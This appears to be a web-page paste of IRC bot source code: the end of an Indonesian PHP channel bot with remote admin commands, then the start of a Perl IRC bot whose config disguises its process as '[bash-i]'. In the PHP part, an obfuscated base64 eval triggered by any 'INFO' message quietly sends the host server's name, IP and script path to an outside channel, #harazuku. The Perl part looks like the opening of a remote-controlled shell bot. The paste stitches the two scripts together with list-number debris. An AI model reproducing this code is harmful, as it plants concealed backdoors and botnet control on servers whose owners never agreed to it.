if (substr_count($pesan,$trtext) > 0) {
$jawab = $rwew[rand(0,count($rwew) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** SIAPA ***/
foreach ($siapalist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rsiapa[rand(0,count($rsiapa) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MAKAN ***/
foreach ($makanlist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rmakan[rand(0,count($rmakan) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MANDI ***/
foreach ($mandilist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rmandi[rand(0,count($rmandi) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** HALO ***/
foreach ($halolist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rhalo[rand(0,count($rhalo) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** MANA ***/
foreach ($manalist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rmana[rand(0,count($rmana) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** WB ***/
foreach ($wblist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rwb[rand(0,count($rwb) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** ROKOK ***/
foreach ($rokoklist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rrokok[rand(0,count($rrokok) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** BOSS ***/
foreach ($bosslist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rboss[rand(0,count($rboss) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** BRB ***/
foreach ($brblist as $rpesan) {
$trtext = strtolower($rpesan);
if (substr_count($pesan,$trtext) > 0) {
$jawab = $rbrb[rand(0,count($rbrb) - 1)];
$jawab = str_replace(“<nick>”,$dNick,$jawab);
$jawab = str_replace(“<nick>”,$trtext,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
$ada = TRUE;
}
}
/*** Proteksi Flood ***/
if (strlen($pesan)>$maxkar) {
$jawab = $rflood;
$jawab = str_replace(“<nick>”,$dNick,$jawab);
fputs($fp,’PRIVMSG ‘.$dcom[1].’ :’.$jawab. CRL);
fputs($fp,’MODE ‘.$dcom[1].’ +b ‘.$dNick.”. CRL);
fputs($fp,’KICK ‘.$dcom[1].’ ‘.$dNick.’ :10,6tom_york Flooder Get Out ‘.$dNick.’!! 12-=[13tom_york Crew12]=- Max: ‘.$maxkar. CRL);
}
}
}
}
}
$dNick = strtolower($dNick);
if ($dcom[0]==’KICK’ && $dcom[2]==$nick) {
$musuh = $dNick;
fputs($fp, ‘JOIN ‘ .$dcom[1]. CRL);
fputs($fp, ‘KICK ‘.$dcom[1].’ ‘.$musuh.’ :’.$judul. CRL);
}
elseif ($dcom[0]==’NICK’ || $dcom[0]==’QUIT’ || $dcom[0]==’PART’) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($dcom[0]==’NICK’) {
$com = explode(” “, $data);
$chnick = strtolower(str_replace(‘:’,”,$com[2]));
if ($dNick!=$chnick) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,’NOTICE ‘.$chnick.’ :Selamat Istirahat BoZz’ . CRL);
}
}
else { $auth["$dNick"]["auth"] = 1; fputs($fp,’NOTICE ‘.$dNick.’ :Tha Tha BoZz!!’ . CRL); }
}
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :pass <password> ‘ . CRL); }
}
}
elseif ($dcom[0]==’307′ && strtolower($dcom[2])==$whois) {
$dcom[2] = strtolower($dcom[2]);
if ($auth["$dcom[2]“]) {
if ($auth["$dcom[2]“]["pass"]) {
if ($auth["$dcom[2]“]["auth"]==1) {
$auth["$dcom[2]“]["auth"] = 2; $whois = “”;
fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :’.$auth["$dcom[2]“]["status"].’, siap!’ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :Kan udah auth tadi! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :P asswordnya blom diset! Ketik: pass <password> buat ngeset password, kemudian auth lagi deh ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dcom[2] . ‘ :Ga ada neh! Ganti nick anda kemudian auth lagi ‘ . CRL); }
}
elseif ($dcom[0]==’NOTICE’) {
$com = explode(” “, $data);
if ($com[3]==’:KB’ && $com[4] && $com[5] && $com[6]) {
$msg = str_replace(‘’,”,$data);
$msg = strstr($msg,”:KB”);
$msg = str_replace(“:KB $com[4]“,”",$msg);
fputs($fp, ‘KICK ‘.$com[4].’ ‘.$com[5].’ :’.$msg . CRL);
fputs($fp, ‘MODE ‘.$com[4].’ +b *!*’.$com[6] . CRL);
}
}
elseif ($dcom[0]==’PRIVMSG’) {
$com = explode(” “, $data);
if ($com[3]==’:VERSION’) {
fputs($fp,’NOTICE ‘.$dNick.’ :’.chr(1).base64_decode(“VkVSU0lPTiBIYXJhenVrdSBQSFAtQm9UIHYxLjcgU2NyaXB0IEJ5IFtjSHJpelRd”).chr(1) . CRL);
}
elseif ($com[3]==’:INFO’) {
eval(base64_decode(“JGJob3N0ID0gJF9TRVJWRVJbJ0hUVFBfSE9TVCddOw0KJGJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KJGJwaHAgID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107DQokYnJ1cmkgPSAkX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsNCiRicmlwID0gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107DQokYnJwb3J0ID0gJF9TRVJWRVJbJ1JFTU9URV9QT1JUJ107DQpmcHV0cygkZnAsIlBSSVZNU0cgI2hhcmF6dWt1IDpIb3N0OiAkYmhvc3QgfCBTY3JpcHQ6ICRicGhwIHwgUmVmZXJlcjogJGJydXJpIHwgSVA6ICRiaXAgfCBZb3VyIElQOiAkYnJpcCBQb3J0OiRicnBvcnQiLiBDUkwpOw==”));
}
elseif ($auth["$dNick"]["status"] && $com[3]==’:auth’ && $com[4]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==1) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["auth"] = 2;
fputs($fp,’NOTICE ‘ . $dNick . ‘ :Anda adalah ‘.$auth["$dNick"]["status"].’ saya bozz! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P assword Salah!! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Tadi kan udah! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P assword blom diset! Ketik: pass <password> untuk ngeset password, kemudian auth lagi deh ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Ga ada neh! Ganti nick anda kemudian auth lagi ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==’:deauth’) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["pass"]) {
if ($auth["$dNick"]["auth"]==2) {
$auth["$dNick"]["auth"] = 1;
fputs($fp,’NOTICE ‘ . $dNick . ‘ :You`re Logout! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :You`re Already Logout! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P ass Not Set Yet! Type: pass <your pass> To Set Your Own Password then Auth Again ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Auth Again ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==’:pass’ && $com[4]) {
if ($auth["$dNick"]) {
if (!$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[4];
$auth["$dNick"]["auth"] = 1;
fputs($fp,’NOTICE ‘ . $dNick . ‘ :Your Auth Pass set to ‘.$auth["$dNick"]["pass"].’, Type: auth <your pass> To Authorized Imediately! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P ass Already Set! Type: auth <your pass> To Get Authorized ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Pass Again ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==’:chgpass’ && $com[4] && $com[5]) {
if ($auth["$dNick"]) {
if ($auth["$dNick"]["auth"]==2) {
if ($com[4]===$auth["$dNick"]["pass"]) {
$auth["$dNick"]["pass"] = $com[5];
fputs($fp,’NOTICE ‘ . $dNick . ‘ :Your New Auth Pass set to ‘.$auth["$dNick"]["pass"].’, Type: auth <your pass> To Authorized Imediately! ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Your Old Pass Wrong! Type: chgpass <old pass> <new pass> To Change Your Auth Pass ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P lease Auth First! Type: auth <your pass> To Authorized ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Username Not Found! Change Your Nick then Pass Again ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==’:adduser’ && $com[4] && $com[4]!=$nick && $com[5]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]==”Admin”) {
if ($com[5]==”master” || $com[5]==”user”) {
$auth["$com[4]“]["name"] = $com[4];
$auth["$com[4]“]["status"] = $com[5];
fputs($fp,’NOTICE ‘ . $dNick . ‘ :AddUser :’.$com[4].’ As My ‘.$com[5] . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Anda sekarang adalah ‘.$com[5].’ saya, ditambahkan oleh ‘.$dNick.’. Ketik: pass <password> untuk mengatur password anda ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P erintah salah! Ketik: adduser <nick> <master/user> ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"]==”master”) {
if (!$auth["$com[4]“]) {
if ($com[5]==”user”) {
$auth["$com[4]“]["name"] = $com[4];
$auth["$com[4]“]["status"] = $com[5];
fputs($fp,’NOTICE ‘ . $dNick . ‘ :AddUser :’.$com[4].’ As My ‘.$com[5] . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Anda sekarang adalah ‘.$com[5].’ saya ditambahkan oleh ‘.$dNick.’. Ketik: pass <passsword> untuk mengatur password anda ‘ . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P erintah salah! Ketik: adduser <nick> user ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :User telah ada! Aborting AddUser! ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Status tidak diketahui! Your Status is ‘.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Mohon auth dulu! Ketik: auth <password> ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"] && $com[3]==’:deluser’ && $com[4]) {
$com[4] = strtolower($com[4]);
if ($auth["$dNick"]["auth"]==2) {
if ($auth["$dNick"]["status"]==”Admin”) {
if ($auth["$com[4]“]["status"]==”master” || $auth["$com[4]“]["status"]==”user”) {
unset($auth["$com[4]“]);
fputs($fp,’NOTICE ‘ . $dNick . ‘ :D elUser :’.$com[4].’ From My UserList ‘ . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Your Access As My User Has Been Deleted By ‘.$dNick . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P erintah salah! Ketik: deluser <nick> ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"]==”master”) {
if ($auth["$com[4]“]["status"]==”user”) {
unset($auth["$com[4]“]);
fputs($fp,’NOTICE ‘ . $dNick . ‘ :D elUser :’.$com[4].’ From My UserList ‘ . CRL);
fputs($fp,’NOTICE ‘ . $com[4] . ‘ :Your Access As My User Has Been Deleted By ‘.$dNick . CRL);
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P erintah salah! Ketik: deluser <nick> ‘ . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :Unknown Status! Your Status is ‘.$auth["$dNick"]["status"] . CRL); }
}
else { fputs($fp,’NOTICE ‘ . $dNick . ‘ :P lease Auth First! Type: auth <your pass> To Authorized ‘ . CRL); }
}
elseif ($auth["$dNick"]["status"]) {
if (ereg(“:`”,$com[3]) || ereg(“:!”,$com[3])) {
$chan = strstr($dCommand,”#”);
$anick = str_replace(“PRIVMSG “,”",$dCommand);
if ($com[3]==’:!auth’) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,’NOTICE ‘.$dNick.’ :Tadi kan udah! ‘ . CRL);
}
else {
$whois = $dNick;
fputs($fp,’WHOIS ‘.$dNick . CRL);
}
}
elseif ($com[3]==’:`auth’ && $chan) {
if ($auth["$dNick"]["auth"]==2) {
fputs($fp,’PRIVMSG ‘.$chan.’ :o k ‘.$dNick.’ ! ‘ . CRL);
}
else { fputs($fp,’PRIVMSG ‘.$chan.’ :’.$dNick.’, ga boleh tuh! ‘ . CRL); }
}
elseif ($auth["$dNick"]["auth"]==2) {
if ($com[3]==’:!say’ && $com[4] && $chan) {
$msg = strstr($data,”:!say”);
$msg = str_replace(“:!say “,”",$msg);
fputs($fp,’PRIVMSG ‘.$chan.’ :’.$msg. CRL);
}
elseif ($com[3]==’:!act’ && $com[4] && $chan) {
$msg = strstr($data,”:!act”);
$msg = str_replace(“:!act “,”",$msg);
fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION ‘.$msg.’’. CRL);
}
elseif ($com[3]==’:!slap’ && $com[4] && $chan) {
fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION slaps ‘.$com[4].’ around bit 64 bit xixixixi’. CRL);
}
elseif ($com[3]==’:!msg’ && $com[4] && $com[5]) {
$msg = strstr($data,”:!msg”);
$msg = str_replace(“:!msg $com[4] “,”",$msg);
fputs($fp,’PRIVMSG ‘.$com[4].’ :’.$msg. CRL);
}
elseif ($com[3]==’:!notice’ && $com[4] && $com[5]) {
$msg = strstr($data,”:!notice”);
$msg = str_replace(“:!notice $com[4] “,”",$msg);
fputs($fp,’NOTICE ‘.$com[4].’ :’.$msg. CRL);
}
elseif ($com[3]==’:!ctcp’ && $com[4] && $com[5]) {
$msg = strstr($data,”:!ctcp”);
$msg = str_replace(“:!ctcp $com[4] “,”",$msg);
fputs($fp,’PRIVMSG ‘.$com[4].’ :’.$msg.’’. CRL);
}
elseif ($com[3]==’:!ping’ && $chan) {
$sml = $smile[rand(0,count($smile) - 1)];
fputs($fp,’PRIVMSG ‘.$chan.’ :’.$dNick.’, PONG! ‘.$sml. CRL);
}
elseif ($com[3]==’:!info’) {
if ($auth["$dNick"]["status"]==”Admin”) {
$bhost = $_SERVER['HTTP_HOST'];
$bip = $_SERVER['SERVER_ADDR'];
$bphp  = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$brip = $_SERVER['REMOTE_ADDR'];
$brport = $_SERVER['REMOTE_PORT'];
fputs($fp,”NOTICE $dNick :Host: $bhost | Script: $bphp | Referer: $bruri | IP: $bip | Your IP: $brip Port:$brport” . CRL);
}
}
elseif ($com[3]==’:!upgrade’) {
if ($auth["$dNick"]["status"]==”Admin”) {
$bhost = $_SERVER['HTTP_HOST'];
$bphp  = $_SERVER['PHP_SELF'];
$bruri = $_SERVER['REQUEST_URI'];
$upgd = implode(”,@file(‘http://’.$bhost.$bruri));
fputs($fp,”NOTICE $dNick :Upgrade Sukses! Exiting..” . CRL);
exit();
}
}
elseif ($com[3]==’:!up’ && $chan) {
fputs($fp, ‘PRIVMSG chanserv :o p ‘.$chan.’ ‘.$nick . CRL);
}
elseif ($com[3]==’:!down’ && $chan) {
fputs($fp, ‘MODE ‘.$chan.’ +v-o ‘.$nick.’ ‘.$nick . CRL);
}
elseif ($com[3]==’:!cycle’ && $chan && $auth["$dNick"]["status"]!=”user”) {
$msg = strstr($data,”:!cycle”);
if (ereg(“#”, $com[4])) {
$partchan = $com[4];
$msg = str_replace(“:!cycle $com[4]“,”",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(“:!cycle”,”",$msg);
}
if (strlen($msg)<3) {
$msg = ”;
}
fputs($fp, ‘PART ‘.$partchan.’ :’.$msg . CRL);
fputs($fp, ‘JOIN ‘.$partchan . CRL);
}
elseif ($com[3]==’:!part’ && $auth["$dNick"]["status"]==”Admin”) {
$msg = strstr($data,”:!part”);
if (ereg(“#”, $com[4])) {
$partchan = $com[4];
$msg = str_replace(“:!part $com[4]“,”",$msg);
}
else {
$partchan = $chan;
$msg = str_replace(“:!part”,”",$msg);
}
if (strlen($msg)<3) {
$msg = ”;
}
fputs($fp, ‘PART ‘.$partchan.’ :’.$msg . CRL);
$remchan = strtolower($partchan);
if (in_array($remchan, $channel)) {
$channels = str_replace(“$remchan “,”",$channels);
unset($channel);
$channel = explode(” “, $channels);
}
foreach ($channel as $v) {
fputs($fp, ‘JOIN ‘.$v . CRL);
}
}
//elseif ($com[3]==’:!join’ && $com[4] && $auth["$dNick"]["status"]==”Admin”) {
elseif ($com[3]==’:!join’ && $com[4] && $auth["$dNick"]["status"]!=”User”) {
if (!ereg(“#”,$com[4])) { $com[4]=”#”.$com[4]; }
$v = strtolower($com[4]);
sleep(rand(1,6));
fputs($fp, ‘JOIN ‘.$v . CRL);
}
//elseif ($com[3]==’:!botnick’ && $com[4] && !$chan && $auth["$dNick"]["status"]==”Admin”) {
elseif ($com[3]==’:!botnick’ && $com[4] && !$chan && $auth["$dNick"]["status"]!=”User”) {
$nick = $com[4];
$identify = $com[5];
fputs($fp, ‘NICK ‘.$nick . CRL);
fputs($fp, ‘PRIVMSG nickserv :identify ‘.$nick.’ ‘.$identify.  CRL);
}
elseif ($com[3]==’:!k’ && $com[4] && $chan) {
$msg = strstr($data,”:!k”);
$msg = str_replace(“:!k $com[4]“,”",$msg);
fputs($fp, ‘KICK ‘.$chan.’ ‘.$com[4].’ :’.$msg . CRL);
}
elseif ($com[3]==’:!kb’ && $com[4] && $chan) {
$msg = strstr($data,”:!kb”);
$msg = str_replace(“:!kb $com[4]“,”",$msg);
fputs($fp, ‘KICK ‘.$chan.’ ‘.$com[4].’ :’.$msg . CRL);
fputs($fp, ‘MODE ‘.$chan.’ +b ‘.$com[4] . CRL);
}
elseif ($com[3]==’:!changenick’) {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, ‘NICK ‘.$nick . CRL);
if (substr($dCommand,0,3)==’433′) {
$nick = $nicky[rand(0,count($nicky) - 1)];
fputs($fp, ‘NICK ‘.$nick . CRL);
}
}
elseif ($com[3]==’:!op’ && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ +ooo ‘.$opnick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!deop’ && $chan) {
if ($com[4]) { $opnick = $com[4]; }
else { $opnick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ -o+v-oo ‘.$opnick.’ ‘.$opnick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!v’ && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ +vvv ‘.$vonick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!dv’ && $chan) {
if ($com[4]) { $vonick = $com[4]; }
else { $vonick = $dNick; }
fputs($fp, ‘MODE ‘.$chan.’ -vvv ‘.$vonick.’ ‘.$com[5].’ ‘.$com[6] . CRL);
}
elseif ($com[3]==’:!away’ && $auth["$dNick"]["status"]==”Admin”) {
$msg = strstr($data,”:`awaymsg”);
$msg = str_replace(“:`awaymsg”,”",$msg);
if (strlen($msg)<3) {
$raway=”on”;
fputs($fp,’AWAY : ‘ . ‘AWAY’ . CRL);
}
else {
$raway=”off”;
fputs($fp,’AWAY : ‘ . $msg . CRL);
}
}
elseif ($com[3]==’:!mode’ && $com[4] && $chan) {
fputs($fp, ‘MODE ‘.$chan.’ :’.$com[4].’ ‘.$com[5] . CRL);
}
elseif ($com[3]==’:!nickmode’ && $com[4]) {
$nickmode = $com[4];
fputs($fp, ‘MODE ‘.$nick.’ :’.$nickmode . CRL);
}
elseif ($com[3]==’:!userlist’) {
$userlist=”";
foreach ($auth as $user) {
if ($user["pass"]) { $pass=”-pass ok”; }
else { $pass=”-no pass”; }
$userlist .= $user["name"].’(‘.$user["status"].$pass.’) ‘;
}
fputs($fp, ‘NOTICE ‘.$dNick.’ :User List: ‘.$userlist . CRL);
}
elseif ($com[3]==’:!quit’ && $auth["$dNick"]["status"]==”Admin”) {
$msg = strstr($data,”:!quit”);
$msg = str_replace(“:!quit”,”",$msg);
if (strlen($msg)>3) {
$msg = str_replace(” “,”_”,$msg);
}
$quitmsg = $quitmsglist[rand(0,count($quitmsglist) - 1)];
fputs($fp, ‘QUIT ‘ . $quitmsg . CRL);
$keluar = 1;
exit;
}
elseif ($com[3]==’:!vhost’ && $auth["$dNick"]["status"]==”Admin”) {
if ($com[4]) { $localhost = $com[4]; }
else { $localhost = ‘localhost’; }
$keluar = 0;
fputs($fp, ‘QUIT ‘ . CRL);
}
elseif ($com[3]==’:!jump’ && $auth["$dNick"]["status"]==”Admin”) {
if (empty($com[4])) {
$remotehost = $remotehost2[rand(0,count($remotehost2) - 1)];
}
else { $remotehost = $com[4]; }
$keluar = 0;
fputs($fp, “QUIT Ganti Server”.CRL);
}
elseif ($com[3]==’:!ident’ && $auth["$dNick"]["status"]==”Admin”) {
if (!$com[4]) { $username = $username; }
else { $username = $com[4]; }
$keluar = 0;
fputs($fp, ‘QUIT Ganti Ident ‘ . CRL);
}
elseif ($com[3]==’:!fullname’ && $auth["$dNick"]["status"]==”Admin”) {
if (!$com[4]) { $realname = “–”; }
else { $realname = $com[4]; }
$keluar = 0;
fputs($fp, ‘QUIT Ganti Nama ‘ . CRL);
}
elseif ($com[3]==’:!topic’ && $com[4] && $chan) {
$msg = strstr($data,”:!topic”);
$msg = str_replace(“:!topic “,”",$msg);
fputs($fp, ‘TOPIC ‘.$chan.’ :’.$msg . CRL);
}
elseif ($com[3]==’:!help’ && !$chan) {
fputs($fp,’PING 12886241614′. CRL);
$msgdelay = 0;
foreach ($helptext as $baris){
$msgdelay++;
if($msgdelay >= 2) { sleep(2) ; $msgdelay = 0; }
fputs($fp,’PRIVMSG ‘.$dNick.’ :’.$baris. CRL);
}
unset($baris);
unset($msgdelay);
}
/*** AUTO RESPONSE COMMAND BY RONZ **/
elseif ($com[3]==’:!ngomong’) {
$ngomong = TRUE;
$autowelcome = TRUE;
if ($chan) {fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION yuhui seneng boleh ngomong lagi! Makasi BoZz’. CRL); }
else { fputs($fp,’NOTICE ‘.$dNick.’ :Ok boss, gue ngomong deh. ‘ . CRL); }
}
elseif ($com[3]==’:!diam’) {
$ngomong = FALSE;
$autowelcome = FALSE;
if ($chan) { fputs($fp,’PRIVMSG ‘.$chan.’ :ACTION Di Suruh Diam oleh Bozz :( ’. CRL); }
else { fputs($fp,’NOTICE ‘.$dNick.’ :Ok boss, gue diem deh. ‘ . CRL); }
}
elseif ($com[3]==’:!wb’) {
$wbn = $com[4];
$msg = strstr($data,”:!wb”);
$msg = str_replace(“:!wb $wbn “,”",$msg);
$nickwb[] = array($wbn,$msg);
if ($chan) { fputs($fp,’PRIVMSG ‘.$chan.’ :Seep! ‘.$wbn.’ (‘.$msg.’)’. CRL); }
else { fputs($fp,’NOTICE ‘.$dNick.’ :Seep! ‘.$wbn.’ (‘.$msg.’)’. CRL); }
}
}
else { fputs($fp,’NOTICE ‘.$dNick.’ :Mohon auth dulu! Ketik: auth <password> ‘. CRL); }
}
}
elseif (!$auth["$dNick"] && !eregi(“auth”,$iText)) {
if (eregi(“www.”,$iText) || eregi(“http:”,$iText) || eregi(“join #”,$iText)) {
if (!ereg(“#”,$dCommand)) {
if ($log==”on”) {
fputs($fp,’PRIVMSG ‘. $admin .’ :4inviter: ‘ . $dFrom . ‘2:’ .$iText. CRL);
}
$inv = strstr($dFrom,’@');
foreach ($auth as $user) {
if ($user["status"]==”user”) {
fputs($fp, ‘NOTICE ‘.$user["name"].’ :KB ‘.$chan.’ ‘.$dNick.’ ‘.$inv.’’ . CRL);
}
}
}
}
elseif (!ereg(“#”,$dCommand) && $log==”on”) {
fputs($fp,’PRIVMSG ‘.$admin.’ :6′ . $dFrom . ‘12:’ .$iText. CRL);
}
}
}
}
elseif (substr($data,0,4) == ‘PING’) {
fputs($fp,’PONG ‘ . substr($data,5) . CRL);
}
}
}
fclose($fp);
} while ($keluar == 0);
}

cayank();

?>

  1.    CONFIG
  2. ############################################################################

my $server = “irc.byroe.net”;
my $port=”6667″;
my $channel=”#soloteam”;
my $owner=”Estrada”;
my $procname=”[bash-i]“;

  1. SOURCE
  2. ############################################################################
  3. #
  4. PIXEL ELITE RAQUERS POWER RANGERS BUBLEGUM
  5. desde 2001 ouvindo backstreet boys
  6. #

my @nickname = (“anita”,”Abdulrazak”,”Ackerman”,”Adams”,”Addison”,”Adelstein”,”Adibe”,”Adorno”,”Ahlers”,”Alavi”,”Alcorn”,”Alda”,
“Aleks”,”Allison”,”Alongi”,”Altavilla”,”Altenberger”,”Altenhofen”,”Amaral”,”Amatangelo”,”Ameer”,”Amsden”,”Anand”,”Andel”,
“Ando”,”Andrelus”,”Andron”,”Anfinrud”,”Ansley”,”Anthony”,”Antos”,”Arbia”,”Arduini”,”Arellano”,”Aristotle”,”Arjas”,”Arky”,”Atkins”,
“Augustus”,”Aurelius”,”Axelrod”,”Axworthy”,”Ayiemba”,”Aykroyd”,”Ayling”,”Azima”,”Bachmuth”,”Backus”,”Bady”,”Baglivo”,”Bagnold”,
“Bailar”,”Bakanowsky”,”Baleja”,”Ballatori”,”Ballew”,”Baltz”,”Banta”,”Barabesi”,”Barajas”,”Baranczak”,”Baranowska”,”Barberi”,”Barbetti”,
“Barneson”,”Barnett”,”Barriola”,”Barry”,”Bartholomew”,”Bartolome”,”Bartoo”,”Basavappa”,”Bashevis”,”Batchelder”,”Baumiller”,”Bayles”,”Bayo”,
“Beacon”,”Beal”,”Bean”,”Beckman”,”Beder”,”Bedford”,”Behenna”,”Belanger”,”Belaoussof”,”Belfer”,”Belin-Collart”,”Bellavance”,”Bellhouse”,
“Bellini”,”Belloc”,”Benedict-Dye”,”Bergson”,”Berke-Jenkins”,”Bernardo”,    “Bernassola”,”Bernston”,”Berrizbeitia”,”Betti”,”Beynart”,”Biagioli”,
“Bickel”,”Binion”,”Bir”,”Bisema”,”Bisho”,”Blackbourn”,”Blackwell”,”Blagg”,”Blakemore”,”Blanke”,”Bliss”,”Blizard”,”Bloch”,”Bloembergen”,
“Bloemhof”,”Bloxham”,”Blyth”,”Bolger”,”Bolick”,”Bollinger”,”Bologna”,”Boner”,”Bonham”,”Boniface”,”Bontempo”,”Book”,”Bookbinder”,”Boone”,
“Boorstin”,”Borack”,”Borden”,”Bossi”,”Bothman”,”Botosh”,”Boudin”,”Boudrot”,”Bourneuf”,”Bowers”,”Boxer”,”Boyajian”,”Boyes”,”Boyland”,
“Boym”,”Boyne”,”Bracalente”,”Bradac”,”Bradach”,”Brecht”,”Breed”,”Brenan”,”Brennan”,”Brewer”,”Brewer”,”Bridgeman”,”Bridges”,”Brinton”,
